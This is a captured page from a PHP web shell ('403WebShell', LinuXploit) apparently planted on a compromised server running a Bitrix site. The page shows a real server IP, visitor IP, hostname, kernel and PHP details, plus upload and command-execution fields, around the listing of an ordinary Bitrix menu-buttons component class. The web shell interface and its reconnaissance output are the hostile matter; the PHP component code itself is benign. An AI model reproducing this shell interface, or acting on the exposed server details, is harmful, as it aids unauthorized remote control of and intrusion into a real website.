%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.128.198.49
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.interface.buttons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.interface.buttons/class.php
<?php
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Text;
use Bitrix\Main;


if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();


Loc::loadMessages(__FILE__);



class CMainInterfaceButtons
	extends CBitrixComponent
	implements Main\Engine\Contract\Controllerable, Main\Errorable
{
	/**
	 * First argument for CUserOptions::GetOption
	 * this is Options Category
	 * @var string
	 */
	protected $userOptionsCategory = "ui";
	/**

	 * @var int
	 */
	protected $maxCounterSize = 99;

	/**
	 * User options settings key
	 * @var string
	 */
	protected $userOptionsKey = "settings";


	/**
	 * Component items settings
	 * @var array
	 */
	protected $settings = [];

	/**
	 * User options expanded items
	 * @var array
	 */
	private $expandedLists = [];


	/**
	 * More item class
	 * @var string
	 */
	protected $defaultMoreItemClass = "main-buttons-item-more-default";

	/**
	 * @var Main\ErrorCollection
	 */
	protected $errorCollection;

	protected const EDIT_MODE_PERSONAL = 'PERSONAL';
	protected const EDIT_MODE_COMMON = 'COMMON';
	protected const EDIT_MODE_DISABLE = 'DISABLE';

	public function onPrepareComponentParams($arParams)
	{
		$this->errorCollection = new Main\ErrorCollection();

		if (empty($arParams["ID"]))
		{
			$this->errorCollection->setError(new Main\Error(Loc::getMessage("MIB_ID_NOT_SET"), "unknown"));
		}
		else
		{
			$arParams["ID"] = $this->prepareContainerId($arParams["ID"]);
			$arParams["EDIT_MODE"] = $this->prepareSaveMode(
				array_key_exists("EDIT_MODE", $arParams) ? $arParams["EDIT_MODE"] : null,
				$arParams["DISABLE_SETTINGS"]
			);
			$arParams["DISABLE_SETTINGS"] = $this->prepareDisableSettings($arParams["EDIT_MODE"]);
		}

		return $arParams;
	}


	protected function setStyles()
	{
		global $APPLICATION;

		if (isset($this->arParams["INCLUDE_CSS_FILE"]) && !empty($this->arParams["INCLUDE_CSS_FILE"]))
		{
			$APPLICATION->SetAdditionalCSS($this->arParams["INCLUDE_CSS_FILE"]);
		}
	}


	/**
	 * Prepares params
	 * @return object $this
	 */
	protected function prepareParams()
	{
		$this->arParams["CLASS_ITEM_ACTIVE"] = $this->prepareItemClass($this->arParams["CLASS_ITEM_ACTIVE"]);
		$this->arParams["CLASS_ITEM"] = $this->prepareItemClass($this->arParams["CLASS_ITEM"]);
		$this->arParams["CLASS_ITEM_LINK"] = $this->prepareItemClass($this->arParams["CLASS_ITEM_LINK"]);
		$this->arParams["CLASS_ITEM_ICON"] = $this->prepareItemClass($this->arParams["CLASS_ITEM_ICON"]);
		$this->arParams["CLASS_ITEM_TEXT"] = $this->prepareItemClass($this->arParams["CLASS_ITEM_TEXT"]);
		$this->arParams["CLASS_ITEM_COUNTER"] = $this->prepareItemClass($this->arParams["CLASS_ITEM_COUNTER"]);
		$this->arParams["ITEMS"] = $this->prepareItems($this->arParams["ITEMS"]);
		$this->arParams["MORE_BUTTON"] = $this->prepareMoreItem($this->arParams["MORE_BUTTON"]);

		return $this;
	}

	protected function prepareDisableSettings(string $mode): bool
	{
		return $mode === self::EDIT_MODE_DISABLE;
	}

	protected function prepareSaveMode($mode = null, $disableSettings = false): string
	{
		$result = self::EDIT_MODE_PERSONAL;
		if (is_string($mode))
		{
			$mode = mb_strtoupper($mode);
			if (in_array($mode, [self::EDIT_MODE_COMMON, self::EDIT_MODE_DISABLE]))
			{
				$result = $mode;
			}
		}
		else if (is_bool($mode))
		{
			$result = $mode === false ? self::EDIT_MODE_DISABLE : self::EDIT_MODE_PERSONAL;
		}
		else if ($disableSettings === true)
		{
			$result = self::EDIT_MODE_DISABLE;
		}
		return $result;
	}

	/**
	 * Gets user options as is
	 * @return array|bool
	 */
	protected function getUserOptions()
	{
		return CUserOptions::GetOption($this->userOptionsCategory, $this->arParams["ID"]);
	}


	/**
	 * Prepares container id
	 * @param string $id
	 * @return string Container id
	 */
	protected function prepareContainerId($id)
	{
		$id = $this->safeString($id);
		$id = preg_replace("/[^a-z0-9_-]/i", "", $id);
		$id = mb_strtolower($id);

		return $id;
	}


	/**
	 * Prepares user options
	 * @param array $userOptions
	 * @param $userOptionsKey
	 * @return array User options
	 */
	protected function prepareUserOptions($userOptions, $userOptionsKey)
	{
		$userOptionsSettings = array();

		if (is_array($userOptions) &&
			isset($userOptions[$userOptionsKey]) &&
			!empty($userOptions[$userOptionsKey]))
		{
			$userOptionsSettings = json_decode($userOptions[$userOptionsKey], true);
		}

		return $userOptionsSettings;
	}


	/**
	 * Prepares settings
	 */
	protected function prepareSettings()
	{
		$userOptionsRaw = $this->getUserOptions();
		$settings = $this->prepareUserOptions($userOptionsRaw, $this->userOptionsKey);
		$this->settings = $settings;

		$this->expandedLists = $this->prepareUserOptions($userOptionsRaw, 'expanded_lists');
	}


	/**
	 * Gets item settings by item id
	 * @param  string $id
	 * @return array
	 */
	protected function getItemSettingsByItemId($id)
	{
		$result = array();

		if (!empty($id) && is_array($this->settings) && !empty($this->settings[$id]))
		{
			$result = $this->settings[$id];
		}

		return $result;
	}


	/**
	 * Prepares item text value
	 * @param  string $text Text string
	 * @return string
	 */
	protected function prepareItemText($text)
	{
		return $this->safeString($text);
	}


	/**
	 * Prepares item html
	 * @param  string $html
	 * @return string
	 */
	protected function prepareItemHtml($html)
	{
		return Text\Converter::getHtmlConverter()->decode($html);
	}


	/**
	 * Prepares item url
	 * @param  string $url
	 * @return string
	 */
	protected function prepareItemUrl($url)
	{
		return $this->safeString($url);
	}


	/**
	 * Prepares item class
	 * @param  string $class
	 * @return string
	 */
	protected function prepareItemClass($class)
	{
		return $this->safeString($class);
	}


	/**
	 * Prepares item id
	 * @param  string $id
	 * @return string
	 */
	protected function prepareItemId($id)
	{
		$result = "";

		if (!empty($id))
		{
			$result = $this->safeString($id);
			$result = str_replace('-', '_', $result);
			$result = preg_replace("/[^a-z0-9_\/]/i", "", $result);
			$result = join("_", array($this->arParams["ID"], $result));
			$result = mb_strtolower($result);
		}

		return $result;
	}


	/**
	 * Prepares item onclick action string
	 * @param  string $onClickString
	 * @return string
	 */
	protected function prepareItemOnClickString($onClickString)
	{
		return $this->safeString($onClickString);
	}


	/**
	 * Prepares item counter value
	 * @param  integer $counter
	 * @return integer|boolean
	 */
	protected function prepareItemCounter($counter)
	{
		$result = false;

		if (is_float($counter) || is_int($counter))
		{
			$result = $counter;
		}

		return $result;
	}


	/**
	 * Prepares item is locked value
	 * @param  boolean $isLocked
	 * @return boolean json_encode'd
	 */
	protected function prepareItemIsLocked($isLocked)
	{
		$result = "false";

		if (!empty($isLocked) && is_bool($isLocked))
		{
			$result = json_encode($isLocked);
		}

		return $result;
	}


	/**
	 * Prepares item is disabled value
	 * @param  boolean $isDisabled
	 * @param  string $id
	 * @return boolean json_encode'd
	 */
	protected function prepareItemIsDisabled($isDisabled, $id)
	{
		$result = false;
		$settings = $this->getItemSettingsByItemId($id);

		if (!empty($isDisabled) && is_bool($isDisabled))
		{
			$result = $isDisabled;
		}

		if (is_array($settings) && is_bool($settings["isDisabled"]))
		{
			$result = $settings["isDisabled"];
		}

		$result = json_encode($result);


		return $result;
	}


	/**
	 * Prepares item sublink array
	 * @param  array $sublink
	 * @return array|boolean return false if sublink not set
	 */
	protected function prepareItemSublink($sublink)
	{
		$result = false;

		if (!empty($sublink) && is_array($sublink))
		{
			if (!empty($sublink["URL"]))
			{
				$sublink["URL"] = $this->prepareItemUrl($sublink["URL"]);
			}

			if (!empty($sublink["CLASS"]))
			{
				$sublink["CLASS"] = $this->prepareItemClass($sublink["CLASS"]);
			}

			$result = $sublink;
		}

		return $result;
	}


	/**
	 * Prepares item sort index value
	 * @param  string $id
	 * @param  integer $key
	 * @return integer Sort index
	 */
	protected function prepareItemSort($id, $key)
	{
		$result = $key;
		$settings = $this->getItemSettingsByItemId($id);

		if (!empty($settings) && is_array($settings))
		{
			if (is_int($settings["sort"]))
			{
				$result = $settings["sort"];
			}
		}

		return $result;
	}


	/**
	 * Prepares item is active value
	 * @param array $item
	 * @return boolean
	 */
	protected function prepareItemIsActive($item)
	{
		$result = false;

		if (!isset($item["IS_ACTIVE"]))
		{
			$requestUri = $this->request->getRequestUri();

			if ($requestUri == $item["URL"])
			{
				$result = true;
			}

			if (!$result && isset($item["ADDITIONAL_URL"]) && is_array($item["ADDITIONAL_URL"]))
			{
				$result = array_search($requestUri, $item["ADDITIONAL_URL"]);
				$result = !is_null($result) ? true : false;
			}
		}
		else
		{
			$result = $item["IS_ACTIVE"];
		}

		return $result;
	}


	/**
	 * Prepares item
	 * @param  array $item
	 * @param  integer $key
	 * @return array Prepared $item
	 */
	protected function prepareItem($item, $key = 0)
	{
		$item["TEXT"] = $this->prepareItemText($item["TEXT"]);
		$item["HTML"] = $this->prepareItemHtml($item["HTML"]);
		$item["URL"] = $this->prepareItemUrl($item["URL"]);
		$item["CLASS"] = $this->prepareItemClass($item["CLASS"]);
		$item["CLASS_SUBMENU_ITEM"] = $this->prepareItemClass($item["CLASS_SUBMENU_ITEM"]);
		$item["DATA_ID"] = $item["ID"];
		$item["ID"] = $this->prepareItemId($item["ID"]);

		$item["MAX_COUNTER_SIZE"] = array_key_exists('MAX_COUNTER_SIZE', $item)
			? $item["MAX_COUNTER_SIZE"]
			: $this->maxCounterSize ;


		$item["ON_CLICK"] = $this->prepareItemOnClickString($item["ON_CLICK"]);

		if (isset($item["COUNTER"]))
		{
			$counter = $this->prepareItemCounter($item["COUNTER"]);

			if ($counter !== false && !empty($counter))
			{
				$item["COUNTER"] = $counter;
			}
			else
			{
				unset($item["COUNTER"]);
			}
		}

		if (isset($item["COUNTER_ID"]))
		{
			$counterId = $this->prepareItemCounterId($item);

			if (!empty($counterId) && is_string($counterId))
			{
				$item["COUNTER_ID"] = $counterId;
			}
			else
			{
				unset($item["COUNTER_ID"]);
			}
		}

		$item["IS_LOCKED"] = $this->prepareItemIsLocked($item["IS_LOCKED"]);
		$item["IS_DISABLED"] = $this->prepareItemIsDisabled($item["IS_DISABLED"], $item["ID"]);
		$item["SUB_LINK"] = $this->prepareItemSublink($item["SUB_LINK"]);
		$item["SORT"] = $this->prepareItemSort($item["ID"], $key);
		$item["IS_ACTIVE"] = $this->prepareItemIsActive($item);

		return $item;
	}

	protected function prepareItemCounterId($item)
	{
		$id = '';

		if (isset($item["COUNTER_ID"]) && is_string($item["COUNTER_ID"]) && !empty($item["COUNTER_ID"]))
		{
			$id = $item["COUNTER_ID"];
		}

		return $id;
	}


	protected function prepareMoreItem($item)
	{
		$html = $this->prepareItemHtml($item["HTML"]);
		$class = $this->prepareItemClass($item["CLASS"]);

		$item["TEXT"] = Loc::getMessage("MIB_DEFAULT_MORE_ITEM_TEXT");
		$item["HTML"] = $html;
		$item["CLASS"] = !empty($class) ? $class : $this->defaultMoreItemClass;

		return $item;
	}


	protected function filterItems()
	{
		$items = array_filter($this->arParams["ITEMS"], function($item)
		{
			return is_array($item);
		});

		$itemsCount = count($items);

		if (!$itemsCount)
		{
			ShowError(Loc::getMessage("MIB_ITEMS_NOT_FOUND"));
			return 0;
		}

		$this->arParams["ITEMS"] = $items;

		return $itemsCount;
	}


	protected function prepareItems($items = array())
	{
		foreach ($items as $key => $item)
		{
			$items[$key] = $this->prepareItem($item, $key);
		}

		$items = $this->sortBySortIndex($items);

		foreach ($items as $key => $item)
		{
			$childItems = array_filter($items, function($currentItem) use ($item) {
				return isset($currentItem['PARENT_ITEM_ID']) && $currentItem['PARENT_ITEM_ID'] === $item['DATA_ID'];
			});

			$items[$key]['HAS_CHILD'] = is_array($childItems) && count($childItems) > 0;

			if ($items[$key]['HAS_CHILD'] === true)
			{
				if (array_key_exists($item['DATA_ID'], $this->expandedLists)
					&& $this->expandedLists[$item['DATA_ID']] == 'Y')
				{
					$items[$key]['EXPANDED'] = true;
				}
				else
				{
					$items[$key]['EXPANDED'] = false;
				}

				$items[$key]['CHILD_ITEMS'] = [];
				foreach ($childItems as $currentItem)
				{
					$items[$key]['CHILD_ITEMS'][] = $currentItem;
				}
			}
		}

		return $items;
	}


	/**
	 * Sorts array bi sort index
	 * @param  array $array
	 * @return array Sorted array
	 */
	protected function sortBySortIndex($array = array())
	{
		usort($array, function($a, $b)
		{
			return $a["SORT"] - $b["SORT"];
		});

		return $array;
	}


	protected function safeString($string)
	{
		$string = trim($string);
		$string = Text\Converter::getHtmlConverter()->encode($string);
		return (String)$string;
	}


	/**
	 * Prepares arResult
	 */
	protected function prepareResult()
	{
		$this->arResult = $this->arParams;
	}


	public function executeComponent()
	{
		if ($this->errorCollection->isEmpty())
		{
			if ($this->filterItems())
			{
				$this->prepareSettings();
				$this->prepareParams();
				$this->prepareResult();
				$this->setStyles();
				$this->includeComponentTemplate();
			}
		}
	}

	public function configureActions()
	{
		return [];
	}

	public function getErrors()
	{
		return $this->errorCollection->toArray();
	}

	public function getErrorByCode($code)
	{
		return $this->errorCollection->getErrorByCode($code);
	}

	protected function listKeysSignedParameters()
	{
		return [
			'ID',
			'EDIT_MODE',
			'DISABLE_SETTINGS',
		];
	}

	public function saveAction(array $options)
	{
		if ($this->errorCollection->isEmpty()
			&& ($this->arParams['EDIT_MODE'] !== self::EDIT_MODE_DISABLE)
		)
		{
			$value = array_merge(
				CUserOptions::GetOption($this->userOptionsCategory, $this->arParams['ID'], []),
				$options
			);
			CUserOptions::SetOption(
				$this->userOptionsCategory,
				$this->arParams['ID'],
				$value,
				$this->arParams['EDIT_MODE'] === self::EDIT_MODE_COMMON);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit